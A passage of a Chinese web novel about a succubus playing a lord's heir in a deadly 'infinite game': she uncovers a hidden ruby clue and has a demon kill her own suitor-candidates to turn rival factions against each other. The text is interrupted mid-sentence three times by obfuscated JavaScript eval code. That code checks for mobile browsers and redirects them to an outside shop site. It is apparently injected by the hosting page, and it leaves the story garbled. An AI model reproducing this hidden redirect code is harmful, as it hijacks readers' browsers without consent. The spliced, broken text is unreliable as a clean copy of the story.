他将下巴轻轻搭在宁汐柔腿上,灵活的尾巴顺着小腿往上滑。 宽大的裙摆搭建出隐秘的游乐场,恶魔伸出舌尖,舔了舔自己的虎牙,笑眯眯的: “我肯定比他,更让你觉得……‘甜’。” 伊卡瑞斯端着纸箱走回书房,推开门前的一瞬间,听见了里面的声音。 正和他无法克制不断重温的那一瞬间一样,灼热的呼吸,起伏的温度,和她手上镯子碰撞在桌子上的声音。 他的动作停住了。 不。他整个人的时间,仿佛在那一瞬间停滞了。 伫立良久后,他转身靠在墙面上,手掌紧握成拳,压抑着自己的呼吸。 他低下头,月光般的银发散落,遮住眼睛和耳朵。 好像这样,就可以当做看不见,听不见。 11. 领主的婚礼(11) 宁汐柔的手指陷入恶魔柔软的发丝间。 她的动作不甚温柔,甚至可以说得上强硬地将他向后扯开。 在痛感中,恶魔麦色的脸颊上,泛起更旖旎的薄红,他小声抱怨着: “干嘛呀,你享受完了,我还没吃饱呢……” 他舔了舔唇,留下一片晶莹水渍。 “你去替我杀几个人。” 宁汐柔没理会他,将小腿搭在他肩膀上,仰起头。 她的声音里还带着潮水褪去的气息。 “好吧。” 恶魔轻吻着自己眼前属于她的肌肤,声音懒洋洋的: “主人的期待,我当然要全部满足了。” 书房外传来叩门声,宁汐柔看了一眼还在把玩她裙摆装饰的恶魔,后者会意地站起身,向窗户走去,离开之前,狠狠瞪了一眼敲门声传来的方向。 好幼稚的争风吃醋。 宁汐柔只当没看见。 “进来。” 她说。 推门而入的是伊卡瑞斯。 向来体面的男仆已经恢复了优雅的姿态,笑容依然柔顺美丽。 似乎他从未在门外静静伫立,没有将自己带着悲伤的呼吸掩埋在风里。 魅魔的五感远超常人,宁汐柔其实听见了他的脚步声,甚至是他的呼吸声。 但正如她不会为恶魔的醋意移开目光, 她也不会在伊卡瑞斯的悲伤上投注精力。 吞噬欲望的生物,没有产生感情的源动力。 她只享受爱欲,从不沉溺其中。 “这些就是前任领主,格洛丽亚大人留下的东西。” 伊卡瑞斯将手中端着的木盒子放在宁汐柔面前,又说: “另外,伊迪丝小姐似乎有事想要和您说。我已经请她在门外稍后了,您要传召她吗?” 年蓁蓁来了? 看来在那个新房间里,她探索到了一些有用的信息。 “好。” 宁汐柔点头。 “那我先退下,在门外等候您的指令。” 伊卡瑞斯行礼。 “不用。” 宁汐柔想了想,在男仆的脸色愈发苍白之际,吩咐他: “我想吃蟹肉沙拉和马卡龙,你去重做一份送过来。” 伊卡瑞斯的脚步一顿,看向宁汐柔。 随后,仿佛得到了什么珍贵的赦免一般,他笑起来。 受宠若惊混合着不可置信,和心脏一起重新跳动起来的还有眼中的期待。 “是!” 他的声音里,又带上那点雀跃了。 宁汐柔第一次见到他这样笑。 依然是美的,但又是一种截然不同的美。 像是,月下空山欲泣的寂寥被拂去之后,丛林中传来茂盛而温暖的心跳声。 随着伊卡瑞斯离去,年蓁蓁走进来。 她手中紧紧攥着什么东西,脸上还带着一层薄汗,显然是匆忙赶来。 看来,她的确是有新发现。 “我在房间里,找到一个东西。” 年蓁蓁警惕地看了一眼书房门的方向,凑到宁汐柔桌边小声说: “我好像是个双面间谍啊。” 说着,她将手中的东西递给宁汐柔。 那是一个做工精巧的吊坠,象牙雕刻而成,虽然只有大拇指肚大小,却在这方寸天地间,描绘出了一场盛大的祭祀场景,连祭台上的人牲都清晰可见。 这很明显是教廷制品。 年蓁蓁拿到的身份卡是小贵族家的小姐,教廷见习修女伊迪丝,同时也是领主继承人德洛丽丝的青梅好友,理论上来说,她是德洛丽丝明显上放在教廷的眼线。 所以,她的房间里有教廷制品不奇怪。 但是有这么精美珍贵的教廷制品,就有点不正常了。 这个吊坠虽然不大,可使用的象牙,不仅颜色雪白,光泽莹润,而且周身没有一丝裂缝瑕疵,绝对是精品以上的等级。 这不是见习修女,或者小贵族家小姐能拿到的东西。 “你看里面。” 年蓁蓁的手指轻轻打开吊坠的第一层。 在吊坠内层,内刻着一句花体字。 [送给我珍贵的伊迪丝。——瑞恩,319年7月9日] “瑞恩,是主教的名字。” 年蓁蓁说。 主教为什么要送年蓁蓁这样的礼物? 他们之间有什么联系吗? 宁汐柔想起刚刚才铁青着脸离开的主教,微微皱起眉。 “这个吊坠看上去有年头了。只是不知道,是我们先认识,还是我和主教先认识。” 年蓁蓁思索着。 宁汐柔也在思考这个问题。 伊迪丝到底是教廷放在继承人身边的眼线,还是反过来? 作为玩家的年蓁蓁自然是站在宁汐柔这一边的,但是见习修女伊迪丝呢? “那幅画。” 宁汐柔突然说。 对,油画上应该有落款,只要知道油画绘制的时间,应该就能大体推断出来。 年蓁蓁显然也想明白了这一点,她闭上眼睛,拼命回想画上的所有内容,哪怕一点点小细节。 可能是越是拼命想要回想,越是发现脑海中一片空白。 “326年。” 宁汐柔说。 以她的记忆力,当然不需要特意回想那副油画到底长什么样子。 只是画师很巧妙地将自己的落款隐藏在了少女裙摆的花纹中,所以她花了点时间才辨认出来。 “那肯定是先认识主教在前了……天哪,我不要啊!” 年蓁蓁中绝望地捂住脸。 “要是咱们是对立面的,我肯定没法通关了啊!” 一时间,宁汐柔不知道是该惊叹于她自我认知清晰,还是放弃速度之快。 不过,尽管看着自己新鲜出炉的队友无声崩溃这件事很有趣,宁汐柔还是开口道: “认识得早就证明你站在他那边?你发现这件事之前,不是一直想跟着我通关吗?” “我现在也想,我现在弃暗投明吧!反正人设是活的,我琢磨琢磨,肯定能转投你的阵营!” 只用了十秒钟来崩溃,年蓁蓁握拳,一脸坚定。 “你本来就是我的人。” 宁汐柔忍不住笑了下,摇头: “你在这个庄园里住下,把主教密谋的消息告诉我,又把象征你们有强烈联系的吊坠给我看。但是到目前为止,系统有判定你OOC吗?” 这么说来,好像也是? 年蓁蓁想了想,也摇头: “没有。我以为玩家之间相处的时候,我们的行为不参与OOC判定。” “但我们并不是一直都是‘玩家之间的单独相处啊’。” 宁汐柔说。 “啊?哦,对!我想起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284815|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,今天早上我们醒过来的时候,那个管家也在。还有刚才,他也在的。” 年蓁蓁的眼睛又一下子亮起来。 “太好了,我还是你的人!我估计,就是主教派我来做卧底,然后我对你日久生情,决定弃暗投明了。唔,日久生情这个词好像不对……” “不重要。” 宁汐柔摆摆手。 “支线任务触发后,游戏系统改变了你的人设。这个线索应该和你的房间一样是增加的补充信息。它创造了一个,让你以内应身份帮助我拿到权杖的机会。” 她将今天在餐厅发生的事情简单和年蓁蓁复述了一遍。 “那个主教肯定还会搞鬼,我要不要回教廷去盯着他?” 年蓁蓁眼珠子一转。 “会很危险,你可以吗?” 宁汐柔问。 年蓁蓁其实算不上会演戏,更不用说什么伪装能力了。 她之前能够在教廷里打探消息,是因为她的身份只是个小贵族家出身的见习修女,甚至可以说是小贵族为了表达忠心而送给教廷的礼物。 因为她不重要,所以也不会得到什么关注和视线。 所以,她才能自由行走。 如今,在游戏系统的支线补全下,年蓁蓁的角色伊迪丝和教廷主教瑞恩关系匪浅。 而主教是教廷中地位最高,权利最大的人。 即便往好了想,伊迪丝和主教的关系隐藏在暗处,不为其他人所知,但主教的视线,绝对会落在她身上。 主教为人阴险,心机深沉狠毒,宁汐柔刚刚才领教过。 年蓁蓁不是他的对手。 “再危险也得去呀。我总不能当一个没有用的人吧。” 年蓁蓁笑了笑,摇头: “谢谢你肯问我。” 宁汐柔看着她的眼睛,也笑了。 她其实什么都明白。 年蓁蓁是个善良的人,否则她不会告诉宁汐柔自己在教廷里偷听到的内容。 但她其实也一直都很聪明,她很清楚,宁汐柔不是一个善良的人。 想要跟随宁汐柔,她必须成为一个有用的人,要能够提供有价值的信息和线索。 新手玩家年蓁蓁是个自我认知清晰的人,她很清楚自己不可能独立通关,而向宁汐柔告密这件事已经让她站在了离秽的对立面。 从被扔进宁汐柔房间的那一刻开始,她已经别无选择,只能跟随这个人。 但幸好,这个人虽然并不善良。 但也并不残忍。 至少,宁汐柔没有直接命令她回到教廷,而是等她自己开口,给她留下了表面上的选择权。 “不过,你也不用太担心。主教回去,还有的忙呢。” 宁汐柔撑着下巴,对着年蓁蓁眨了眨眼。 “因为你把教廷的候选人都赶回去了吗?” 年蓁蓁问。 “不是,是因为,今天晚上,会发生一些事情。这件事情,能够再次挑动主教的愤怒和不安。有可能,会让他在情绪驱使之下,做出一些愚蠢的选择。” 宁汐柔笑着说,声音悠扬轻快: “如果他能够冷静下来思考,说不定会发现其中的破绽和漏洞。不过,尽管热衷于自我标榜,但人类,从来都不是依靠理智行动的动物呀。” 她点了点放在自己面前的木盒,指甲和木质的盒面碰撞,发出清脆的声音。 像是棋子落下。 12. 领主的婚礼(12) 决定了行动方向之后,年蓁蓁并没有马上离开。 宁汐柔决定让她今晚还是先住在领主庄园,明天再走。 其实,年蓁蓁有心早点回去,在今晚宁汐柔安排的那件事发生之前,再多做一些准备,毕竟她们的主线任务和隐藏任务都是有时限的。 但两人中的上位者从来都不是她,于是她也只好听从。 “先排练好才能上台,你的水平,不用太指望即兴发挥。” 宁汐柔说着,让年蓁蓁回去,在房间里继续找找新的信息。 “好,我再去找找。不过,可能没什么收获。” 年蓁蓁最大的优点是谨慎,她确信自己已经翻过了自己房间里的每个角落。 除去一些体现了德洛丽丝与伊迪丝之前亲密无间的东西,她最有价值的收获就是刚才给宁汐柔看的象牙吊坠。 “之前没有,现在可能就有了。” 宁汐柔的指腹划过木盒上的锁扣,眼里带上一点笑意。 “你知道,我为什么一直不打开这个盒子吗?” 年蓁蓁诚实地摇头。 “因为盒子是空的。至少,在它刚刚被送到我面前的时候,是空的。” 宁汐柔说。 啊? 年蓁蓁睁大了眼睛: “如果里面什么都没有,为什么弄出来这么一个盒子?” “对啊,为什么还要弄出来这么一个盒子。” 宁汐柔重复。 “因为里面本来就有东西的,只是那个时候,我还看不到,也感受不到。” 她看着这个盒子被伊卡瑞斯端进来。 男仆的身材很不错,即便隐藏在燕尾服下,当手臂绷紧的时候,也能看到隐藏在布料下,那并不明显,但流畅紧实的小臂线条。 但当刚才,宁汐柔用指甲敲盒面时,木盒发生的声音,却是里面空无一物。 即便都是中空的盒子,空无一物,和里面放置了东西所发出的回声,会有很轻微的差别,人类的耳朵分辨不出来。 但宁汐柔可以。 “伊卡瑞斯没有弱到一个空盒子都要用力才能拿起来。” 宁汐柔舔了下唇,她曾经被那双手臂抱起过,知道优雅的燕尾服下,蛰伏于她的是一只猛兽。 ”所以,我在想,为什么里面的东西消失了?但是我又觉得,就像之前的支线任务一样,其实盒子里的东西就在那里。这个副本的线索是触发制的,我只是需要一点特别的‘启发’来看见它。” 她说。 游戏剧本的线索是触发制。 这个不难想出来。 不管是宁汐柔获得的支线任务,还是年蓁蓁刚才得到的象牙吊坠,都是玩家进行了一定程度的探索之后,才会自动触发,或者出现在可以被玩家们找到的地方。 就好像剧本杀,根据剧情的推进,DM会发放第一轮线索卡,第二轮线索卡,隐藏线索卡。 她自己想得很顺,但年蓁蓁已经开始听不懂了。 宁汐柔说话从来不考虑听众,她似乎也不是为了让年蓁蓁理解才说这些话。 与其说是对话,不如说,她只是在整理自己的思考,年蓁蓁不过是恰好出现在这里,成为了一名不被特别考虑的观众。 “之前的线索,就像我说的那个权杖一样吗?你现在也需要有人来告诉你,这盒子里面是什么?” 观众年蓁蓁努力跟上节奏。 “权杖,对。触发任务的不是你,而是你带来的关键词,这个关键词和‘领主的权杖’这件东西强相关。” 宁汐柔抓住了脑海中一瞬间的灵感。 “那有什么是和前任领主格洛丽亚强相关的关键词?我的身份卡,德洛丽丝,作为她的女儿,必然是其中之一;由她交给教廷保管的领主权杖,应该也是其中之一。” “还有,她为什么,要把象征权力,无比重要的领主权杖交给教廷,而非自己的继承人?” 宁汐柔问。 在年蓁蓁走进来之前,她曾经随手翻过放在桌面上的一本书,叫做《德伦郡简史》,主要看了一眼前任领主格洛丽亚的部分。 上面写着,前任领主是因病去世,当时她的继承人德洛丽丝只有十二岁,所以她才将权杖托付给教廷主教保管,并命令教廷在继承人成年袭爵后,将其归还。 因为成为了存放领主权杖的地方,德伦郡居民们会自发前往教廷朝拜,在这样的风潮中,教廷也逐步发展壮大,成为了德伦郡不可忽视的势力之一。 这个解释看上去似乎也合理,但是,细究下来就能看出其中的不对劲。 作为德伦郡最高权力拥有者的格洛丽亚,为什么选了教廷? 当时的教廷,只是个名不见经传的小型宗教势力。 按理来说,即使继承人因为年级太小而不能够独立保管权杖,本就能依靠法律在继承人成年前代行政权的长老会,不是更加适合作为权杖的代管者吗? “除非,她就是为了避免长老会获得权杖,才选择了虽然并不强大,但有着神权背书的教廷。” 宁汐柔恍然大悟。 但她敲了敲,木盒里发出的回声,依然空无一物。 难道她错了? 格洛丽亚还有什么关键词是她没想到的? “可是,现在教廷和长老会联合了啊。” 年蓁蓁小声说。 宁汐柔猛地抬头,看着年蓁蓁,眼睛一眨不眨。 “对,他们联合了。为什么?这不合逻辑。” 从年蓁蓁的身份卡上就可以看出,两方的联系有多紧密。 伊迪丝是长老会议员的女儿,同时又是教廷的见习修女。 象牙吊坠上的刻文,证明了她与教廷主教瑞恩之间存在着紧密联系。 可是,教廷代掌领主权杖的事,德伦郡人尽皆知。 如果前任领主的目的就是通过将权杖交由教廷保管的方式,来避开长老会。 长老会作为法理上的权杖代管者,即便因为顾忌教廷的神权背书和前任领主之间的命令,无法直接索要。 他们彼此之间也能建立这么亲密的关系吗? 这两方之间,本应因为权杖的事情,彼此忌惮。 可现在,他们联合起来,要联手谋杀继承人德洛丽丝。 那么说明,本应使得他们之间成为敌人的要素不在了。 这个要素,应该存在于继承人手中。 现在,它就在这个盒子里。 宁汐柔抬手,直接打开了木盒的锁扣。 里面,一颗成人拳头大小的红宝石,熠熠生辉。 “原来如此……” 宁汐柔想起主教手中那只被白色布料层层包裹住最顶端的权杖。 宁汐柔一开始以为是主教承受不住顶端宝石的力量,不得已之下,才用布包住。 她想错了。 那个权杖的顶端,根本就没有宝石。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284816|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 更没有什么所谓的力量。 [叮!隐藏任务进度50%!] [玩家已获得:领主的权杖·碎片一] [请玩家再接再厉!] 宁汐柔拿起那块红宝石,在那底下,还压着一封信,上面写了寥寥几行字。 应该是前任领主留给女儿的信。 只可惜,上面的字迹已经趋于模糊,看不清具体写的是什么了。 “这个支线任务,真坑啊……” 年蓁蓁也听到了系统播报,沉默了几秒钟后,才喃喃说。 最开始的支线任务上,只说了要获得“领主的权杖”。 加上后面主教大摇大摆拿着权杖出现,一般玩家必然以为那就是支线任务目标,只要完成婚礼,主教就会不得不交还回来。 谁能想到那根本就不是完整的权杖! 怪不得这个支线任务只有拿到继承人身份卡的宁汐柔能触发。 一般玩家上哪里去找前任领主的遗物箱子啊! 年蓁蓁内心疯狂吐槽。 “好了,回房间吧。我这边的推进,应该也会影响到你房间里出现了多少新线索。” 宁汐柔将宝石放回去,重新合上木箱。 “好!” 年蓁蓁用力点头。 她现在有多不信任死游戏的良心,就有多信任宁汐柔的能力。 第二天,宁汐柔和年蓁蓁在餐厅共用早餐。 今天的早餐是本尼迪克蛋配上油浸蘑菇,饮品是手磨咖啡,甜点配了冰淇淋吐司塔。 自然,只有宁汐柔的那一份首席男仆特供是这个菜单。 年蓁蓁吃的是后厨统一出品法式吐司。 但对于这一点,年蓁蓁没有任何意见。 反正对她来说,吃的都是毫无味道口感可言的白纸,越少越好。 “你今天可以回教廷了。” 宁汐柔享受完了正餐,用叉子叉起一块冰淇淋吐司,对年蓁蓁说。 “哦,好……” 年蓁蓁的话还没说完,一个男人冲进了餐厅。 他是未婚夫候选人中的玩家之一,隶属于继承人举荐的阵营。 从昨天的表现来看,他应该也是个新玩家,没什么突出实力,但是好在融入环境的能力很强。 才进入副本两天的时间,他的举手投足间,已经和原住民没什么区别了。 此刻,他满头是血,衣服上都是血痕,整个人跌跌撞撞地跑进来之后甚至站不稳,整个人扑倒在宁汐柔面前。 “救、救救我!有、人杀,有人、杀人啊!” 他的声音断续,说话时候,嘴里不断涌出血沫, 宁汐柔咬下叉子上的吐司。 冰淇淋被均匀淋在油炸过的热吐司表面,冰淇淋的甜味融合了吐司的香气,冷与热之间的碰撞将各自的风味激发到了极致。 在精准的时间把控之下,吐司表面的油炸外皮依然热气腾腾,牙齿咬下去的瞬间,冰淇淋浸润吐司中的孔洞,创造出一种酥脆和柔软同时存在的神奇口感。 她享受地眯起眼睛。 宁汐柔咽下去最后一口,将叉子放下,终于好像注意到了遍体鳞伤的男玩家: “啊,你还活着啊?有意思。” 男玩家趴在地上,抬起头看去。 她笑着,声音轻快而柔和,眼神戏谑。 仿佛他的伤口,哀嚎和祈求,只是一场表演后的意外彩蛋。 13. 领主的婚礼(13) 什么叫,我还活着? 男玩家满头是血,神情出现了一瞬间的呆滞。 “大人!” 伊卡瑞斯走上前来,挡在了宁汐柔和男玩家中间,声音里带着不赞同: “那些侍卫都在什么!用餐时间让您看到这些,会影响胃口的。” “没关系,我也吃完了。” 宁汐柔放下叉子,声音里带着笑: “发生什么了?” “是我照看不力,昨天晚上,有三名住在庄园里的,来自我们举荐的候选人都遭受了袭击。根据现场的痕迹来看,应该是恶魔眷属作为。” 伊卡瑞斯对着宁汐柔鞠躬,神情中带着半真半假的自责和歉意: “很不幸,另外两位候选人已经丧生。这位,能躲过那样的袭击,实在是十分幸运啊。不知道他有没有看清袭击者的面容?” 他说着,瞥了一眼在趴在地上的男玩家。 因为角度问题,宁汐柔看不见他的眼神。 不过,她倒是能看清楚男玩家瞬间畏惧瑟缩起来的表情。 “我、我、没看见。” 男玩家低下头,尽最大努力放轻自己的呼吸声,假装自己不存在。 可能,现在他也怀疑自己来找宁汐柔求救这件事,似乎不是个好点子。 “他受了伤,找个人给他看一下吧?说不定他知道什么别的有用的东西呢。我们可以等下再问。” 年蓁蓁凑到宁汐柔耳边说。 她说着话,眼神自以为隐晦地看了一眼伊卡瑞斯的方向。 她的意思很明显,要创造一个只有玩家的环境。 人类的本能是划分阵营,尤其在无限游戏这样的环境里。 在学会看清自己种族的本性前,他们总需要摔几个跟头。 有的人会爬起来,有的人会永远躺下去。 年蓁蓁是哪种? 难得的,宁汐柔对一个人类的命运产生了好奇心。 “伊卡,送他去医生那里。” 宁汐柔吩咐了伊卡瑞斯,又转头看向年蓁蓁: “伊迪丝,你该回教廷了。” 年蓁蓁脸上有些犹豫,但还是点头了。 她似乎担心那个男玩家会死在被抬去找医生的路上。 真有趣,明明根本不认识,更谈不上建立了感情。 只因为种族相同,人类之间就会生出那种叫做“同理心”的东西。 宁汐柔知道该怎么表演出这种情绪,但她从未感受过。 那是一种什么感觉? 几人都离去后,宁汐柔独自坐在餐桌上,慢条斯理地吃下了最后一块冰淇淋吐司塔。 这个甜品酥脆湿润的口感保质期很短,当冰淇淋彻底融化之后,吐司也会被完全浸润,不需要任何咀嚼就会融化在口腔里。 依然是好吃的,只是比起方才的清爽,多了一份甜腻。 宁汐柔起身,回到了书房。 她坐在桌边,也不急着找新的线索,而是又打开了那个装着红宝石的盒子。 尽管已经尘封多年,但宝石依旧璀璨,质感清透,没有一丝杂质。 双手捧着宝石,宁汐柔缓缓闭上眼睛。 掌心中,有一股暖意涌动,是某种从未在她记忆和知识中出现过的能量。 但是,很温暖。 是因为身份卡设定吗? 对于德洛丽丝而言,这是母亲留下来的遗物,也是未来自己权杖上最重要的宝石。 或是因为别的是什么? 别的,属于宁汐柔身上的特别之处? 在这股温暖中,她难得感受到一种单纯的放松,思维也随之放慢了下来。 一点点,一点点,在淡淡的疲惫中,她闭上眼睛。 “大人?” 伊卡瑞斯的声音在不远处响起,宁汐柔猛地睁开眼睛。 “我刚才是,睡着了吗?” 她喃喃自语着,神色中第一次带上了一点疑惑和慌乱。 黑暗种族没有传统意义上的睡眠。 比起“睡觉”这个词,宁汐柔的休息实际上更接近于“冥想”。 她会闭上眼睛,进入一个潜入意识海的状态,在这期间,体内的魔力会缓慢生成,最后被收束进拟态身体中,构成一个完整的魔力回路。 这种状态和人类的睡眠是有本质区别的。 但是刚才,在这颗红宝石的力量下,宁汐柔不自觉地放松下来,甚至短暂地失去了意识,进入了一种平静,几乎可以被称之为睡眠的状态。 这颗宝石身上,到底是什么力量?又有着什么秘密? 缺乏线索,多思无益。 宁汐柔收起发散的思绪,抬眼看着伊卡瑞斯: “那个人还活着吗?” 她问的是刚才被伊卡瑞斯从餐厅带走的负伤男玩家。 “您希望他活着吗?” 伊卡瑞斯笑了,为宁汐柔倒了一杯红茶。 “在餐厅的时候,您好像觉得这个人继续‘幸存’下去,会更有意思一些。” 宁汐柔端起茶杯,不置可否。 她将宝石放在盒子里,重新合上盖子。 “您还满意今天的早餐吗?” 伊卡瑞斯问。 “不错。” 她说。 机缘巧合地在副本中感受到人类食物的滋味之后,宁汐柔目前对这种进食方式也颇感兴趣。 当然,人类的食物无法为她提供生存所需的必要能量,但享受美味,本身就是一种娱乐活动。 “一个合格的男仆,应当满足主人的期待,所有期待。” 伊卡瑞斯放下茶壶,单膝跪下,抬头看着宁汐柔,他似乎用了很大的勇气才说出来这句话: “在这个庄园里,我本应该完成您的所有安排。是我失职了,居然……让您觉得,有些事,需要用别人来做。” 那双幽蓝色的眸子里,一丝委屈和哀怨一闪而过。 时间回到昨天下午。 “你去替我杀几个人。” 宁汐柔对恶魔说。 “杀谁?那个主教?长老会?还是他们全部?” 恶魔兴致勃勃地问,啄吻着她的小腿。 云朵一样的吻。 “把庄园里,属于我势力的那三个候选人杀了。” 宁汐柔闭上眼,轻轻踢了他的胸口一脚,高跟鞋踩在他的胸膛上,压出一个凹陷。 “啊?” 恶魔楞了一下,眨了眨眼,语气有点疑惑: “虽然他们都是假模假式挑出来的人,我看着也不顺眼。不过,他们都是你这边的人吧?那家伙虽然老是装模作样阴阳怪气人头狗脸的,但这点能力还是有的。” 假模假式,名词,代指伊卡瑞斯。 恶魔从不掩饰自己的针对。 宁汐柔此时心情不错,于是也愿意随便解释两句: “教廷的三个人都被赶回去了,我的三个人都死了。婚礼还有不到五天的时间,你说,这件事的最终受益人会是谁?” “长老会?因为只能他们的人可选了。” 恶魔点头。 “话是这么说,但是这会不会太明显了?还是直接把长老会和教廷都杀干净!我可以的!” 他笑容肆意,语气张扬,可见对自己的专业领域,很有信心。 “教廷和长老会之间的合作,目的是为了压制我。一旦一方有了胜利的希望,背弃盟友也是很正常。” 宁汐柔慢悠悠地说: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284817|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然会有破绽,其实也不能想明白这是个离间计。不过,主教可不是能压制住自己情绪的人。两天之内要面对着这么多打击,他必然崩溃,想必没办法用脑子好好思考了。” 细数主教今日,可谓大获全败。 赌上教廷的信誉,他逼杀宁汐柔不仅惨败; 赔了教廷的体面,送来的三个未婚夫候选人被原封不动的退货; 最可怜的是,他用一杯毒酒调换了圣酒,却因此帮宁汐柔验证了她身份的“圣洁”。 逼杀失败,主教唯一可能从根本上毁掉宁汐柔,或者说,德洛丽丝的筹码,已经没了,双方成了彻底的仇敌。 可德洛丽丝一旦继位,完整执掌权利,教廷会面临什么,他会面临什么,不言而喻。 他如何不疯狂? “这样来说,长老会是教廷的盟友,他应该更希望长老会上位才对啊。不如我去杀了长老会的候选人吧?” 恶魔眼睛一亮,邀功一样看着她。 “你还是不了解人类。” 宁汐柔又踢了他一脚,懒洋洋地靠在椅子上,声音里带着笑意: “去做就是了,滚吧。” “好吧。” 恶魔其实从来也不在意解释,他只是喜欢宁汐柔和他说话的样子。 知道自己性格恶劣的主人即将耐心告罄,他低下头,又落下几个流连的吻,尖牙在她的肌肤上一触即离。 “主人的期待,我当然要全部满足了。” 宁汐柔收起回忆。 看向单膝跪在自己面前的伊卡瑞斯,抬手挑起他的下巴,摘掉了他的单镜。 他眼眶微红,幽蓝色眸中泛着盈盈水光,又不服输一样被他强压回去,不肯落下来。 银发几缕散落在肩膀上,凌乱中难掩光华。 明明只是摘掉了眼镜,他却似乎被强行剥去了所有伪装,露出一点隐藏不住的委屈和惶恐来。 “从前,庄园里的事,都是我来的。是我哪里做得不好吗?” 他的声音里带着一点鼻音,伏在宁汐柔膝上,抬眼看她。 真是漂亮。 她去摸他的头发。 顺从地抬起头,伊卡瑞斯轻轻用脸颊去蹭她的手背。 “庄园内部情况复杂,旁人来做,难免有所纰漏,留下些麻烦事。我往后会做得更好的。” 他说。 和恶魔不同,伊卡瑞斯针对人的方式也更内敛。 虽然攻击力并没减弱就是了。 “喂喂喂!我在这呢!” 恶魔不满地从窗户带上冒出来。 他此刻倒掉在上面,蓬松的头发顺着地心引力炸开,很搞笑,是少年人独有的莽撞可爱。 “你不应该白天出现。” 伊卡瑞斯看着自己辛苦营造出来的旖旎气氛随着恶魔炸开的头发消失殆尽,声音冷得结冰。 “我这不是有正事吗!再说了,我活干得很好!那个活着的是意外,我等下再去杀!” 恶魔挑眉,丝毫不弱地瞪了他一眼,转头看向宁汐柔,神色飞扬起来: “我特意过来告诉你的,教廷的那三个,也被杀了!” “谁?” 宁汐柔问。 “就是那个教廷骑士长啊。” 恶魔说着,感慨了一句: “她真是人类吗?强得过分了。” 教廷。 离秽挥舞重剑,将眼前最后一人的头颅斩断,单手甩干了重剑上的血。 不过,铠甲上溅满的鲜血,只能等下再清理了。 “你这事做得不地道。” 失去头颅的尸体躺在地上,正是教廷三位候选人中唯一的一个男玩家。 他的头颅躺在地上,平静地说。 14. 领主的婚礼(14) “我怎么不地道了?” 离秽抬手将重剑甩进剑鞘,靠在墙上,歪头看着外面。 她直视太阳,眼神平静: “你的委托我不是完成了吗?” “在副本进行到一半的时候杀掉这个我,是原来的委托内容。” 头颅面无表情地说,声音里带着不满意: “我现在的委托更改了,我想看到这个故事怎么收场。” “你是想看这个故事怎么收场,还是想看她怎么收场?” 离秽嗤笑一声,转过身来看着头颅。 她抬手,漫不经心地抹去眼角被阳光灼烧后流下的血泪,声音调侃: “以前没发现啊,你傲娇系?我以为你只是单纯的讨人厌呢。” “总之,我的委托内容变更了。” 头颅的语气很臭。 “把我脑袋接回去。” “恕不更改。我自己还有事儿呢。下次再说吧” 离秽笑眯眯地摇头,她转身离开,扔下一句欢快的: “记得付钱,不然我出去就砸了你老窝!” 头颅脸色难看,重重哼了一声,算是不情愿地应了。 随后,他闭上眼睛,脸色瞬间灰白死寂下去。 他的尸体仿佛被加快了时间的流动,快速地风化腐朽下去。 几息之间,地面上只留下一堆木屑,被风吹散在风里。 领主庄园。 宁汐柔坐在书桌前,没去理会正在互相瞪眼睛谁也不服谁的伊卡瑞斯和恶魔。 “她为什么要杀教廷的候选人?” 宁汐柔自问着。 这和离秽的身份卡,或者主线任务有关吗? 她是教廷的骑士长,站在教廷的立场,她的主线任务可能是阻止继承人的婚礼。 可是杀了已经被退回去的候选人有什么用? 不是这条逻辑。 宁汐柔在脑海中将这条线打上叉。 如今想来,离秽从一开始暴露的信息就很少,又一直游走在主线剧情之外。 以至于几乎所有人都对她一无所知。 她说自己是来特殊副本“掐尖”新人的,可是目前的几个新人,都不见她接触。 唯一一个跟着她回到教廷的新人玩家,也就是三个教廷举荐的候选人之一,她还把人家杀了。 一个强大的老玩家,全程隐身,这合理吗? 不过,宁汐柔并无意去探究离秽究竟有什么目的。 一个是目前缺乏信息,但宁汐柔并不打算耗费精力去从离秽身上收集信息,她对别人的事不感兴趣。 另一个,是宁汐柔虽然不怵离秽,但作为无限游戏的新人,她更重要的任务是适应新环境,并没有和离秽敌对的动机和理由。 所以,只要离秽不挡她的路,宁汐柔决定就当做这个人不存在。 她甚至还要感谢一下离秽这突然的行动。 现在主教的精神状态,估计比宁汐柔预计的还要更加崩溃。 她是对的。 教廷内,主教听到消息后,的确反应非常大。 他完全控制不住自己的愤怒,吼叫着让所有人滚出去。 盛怒之下,他用力将手中的权杖往地上扔去! 被用力投掷在地上,而杖身出,连一丝划痕也无,依然光洁完美,金属上反射出来的光芒,仿佛一个嘲讽的笑容。 权杖顶端的白布散落开,露出里面被包裹住的内容物: 一块灰色的石头。 “那个狡诈的家伙!” 